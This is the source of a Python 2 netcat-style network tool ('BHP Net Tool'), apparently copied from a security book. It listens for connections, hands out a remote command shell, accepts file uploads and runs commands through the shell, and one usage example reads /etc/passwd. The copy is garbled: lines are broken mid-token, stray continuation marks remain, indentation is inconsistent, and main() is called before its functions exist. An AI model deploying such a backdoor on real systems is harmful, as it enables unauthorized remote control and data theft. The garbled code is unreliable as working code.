```
#-------------------------

 import sys
 import socket
 import getopt
 import threading
 import subprocess


 # define some global variables
 listen = False
 command = False
 upload = False
 execute = ""
 target = ""
 upload_destination = ""
 port = 0
 def usage():
                print "BHP Net Tool"
                print
                print "Usage: bhpnet.py -t target_host
-p port"
                print "-l --listen - listen on
[host]:[port] for ¬  incoming connections"
                print "-e --execute=file_to_run -
execute the given file upon ¬  receiving a connection"
                print "-c --command - initialize a
command shell"
                print "-u --upload=destination - upon
receiving connection upload a ¬  file and write to
[destination]"
                print
                print
                print "Examples: "
                print "bhpnet.py -t 192.168.0.1 -p 5555
-l -c"
                print "bhpnet.py -t 192.168.0.1 -p 5555
-l -u=c:\\target.exe"
                print "bhpnet.py -t 192.168.0.1 -p 5555
-l -e=\"cat /etc/passwd\""
                print "echo 'ABCDEFGHI' | ./bhpnet.py -t
192.168.11.12 -p 135"
                sys.exit(0)

        def main():
                global listen
                global port
                global execute
                global command
                global upload_destination
                global target

                if not len(sys.argv[1:]):
                usage()

                # read the commandline options
                try:
                                opts, args =
getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ¬
["help","listen","execute","target","port","command","up
load"])
                except getopt.GetoptError as err:
                        print str(err)
                        usage()




                for o,a in opts:
```

```
                                if o in ("-h","--help"):

                                                usage()
                                elif o in
("-l","--listen"):
                                                listen =
True
                                elif o in ("-e",
"--execute"):
                                                execute
= a
                                elif o in ("-c",
"--commandshell"):
                                                command
= True
                                elif o in ("-u",
"--upload"):

upload_destination = a
                                elif o in ("-t",
"--target"):
                                                target =
a
                                elif o in ("-p",
"--port"):
                                                port =
int(a)
                                else:
                                                assert
False,"Unhandled Option"

                # are we going to listen or just send
data from stdin?
                if not listen and len(target) and port >
```

```
0:

                                # read in the buffer
from the commandline
                                # this will block, so
send CTRL-D if not sending input
                                # to stdin
                                buffer =
sys.stdin.read()


                                # send data off
                                client_sender(buffer)

                # we are going to listen and potentially

                # upload things, execute commands, and
drop a shell back
                # depending on our command line options
above
                if listen:
                                server_loop()

main()

def client_sender(buffer):

                client = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)

                try:

                                # connect to our target
```

```
host

client.connect((target,port))

                                if len(buffer):

client.send(buffer)

                                while True:

                                                # now
wait for data back
                                                recv_len
= 1
                                                response
= ""

                                                while
recv_len:

data = client.recv(4096)

recv_len = len(data)

response+= data

if recv_len < 4096:

                break

                                                print
response,
                                                # wait
for more input
                                                buffer =
raw_input("")
                                                buffer
+= "\n"

                                                # send
it off

client.send(buffer)

        except:

                                print "[*] Exception!
Exiting."

                                # tear down the
connection
                                client.close()

def server_loop():
                global target
                # if no target is defined, we listen on
all interfaces
                if not len(target):
                                target = "0.0.0.0"

                server = socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
                server.bind((target,port))
                server.listen(5)

                while True:
                client_socket, addr = server.accept()

                                # spin off a thread to
handle our new client
                                client_thread =
threading.Thread(target=client_handler, ¬
args=(client_socket,))
                                client_thread.start()

        def run_command(command):
                        # trim the newline
                        command = command.rstrip()

                        # run the command and get the
output back try:
                                        output =
subprocess.check_output(command,stderr=subprocess. ¬
STDOUT, shell=True)
                        except:
                                        output = "Failed
to execute command.\r\n"

                        # send the output back to the
client
                        return output

 def client_handler(client_socket):
                 global upload
                 global execute
                 global command
                 # check for uploadu
                 if len(upload_destination):

                                # read in all of the
bytes and write to our destination file_buffer = ""

                                # keep reading data
until none is available


                                while True:
                                               data =
client_socket.recv(1024)

                                               if not
data:

break
                                               else:

file_buffer += data

                                # now we take these
bytes and try to write them out
                                try:

file_descriptor = open(upload_destination,"wb")

file_descriptor.write(file_buffer)

file_descriptor.close()

                                               #
acknowledge that we wrote the file out
```

```
client_socket.send("Successfully saved file to ¬
%s\r\n" % upload_destination)
                                        except:

client_socket.send("Failed to save file to %s\r\n" % ¬
upload_destination)


                # check for command execution
                if len(execute):

                                # run the command
                                output =
run_command(execute)


client_socket.send(output)

                # now we go into another loop if a
command shell was requested
                if command:
                                while True:
                                        # show a simple
prompt

client_socket.send("<BHP:#> ")

                                                # now we
receive until we see a linefeed ¬  (enter key)
                                        cmd_buffer = ""
                                        while "\n" not
in cmd_buffer:
```

```
cmd_buffer += client_socket.recv(1024)

                                        # send back the
command output
                                        response =
run_command(cmd_buffer)

                                        # send back the
response

client_socket.send(response)
```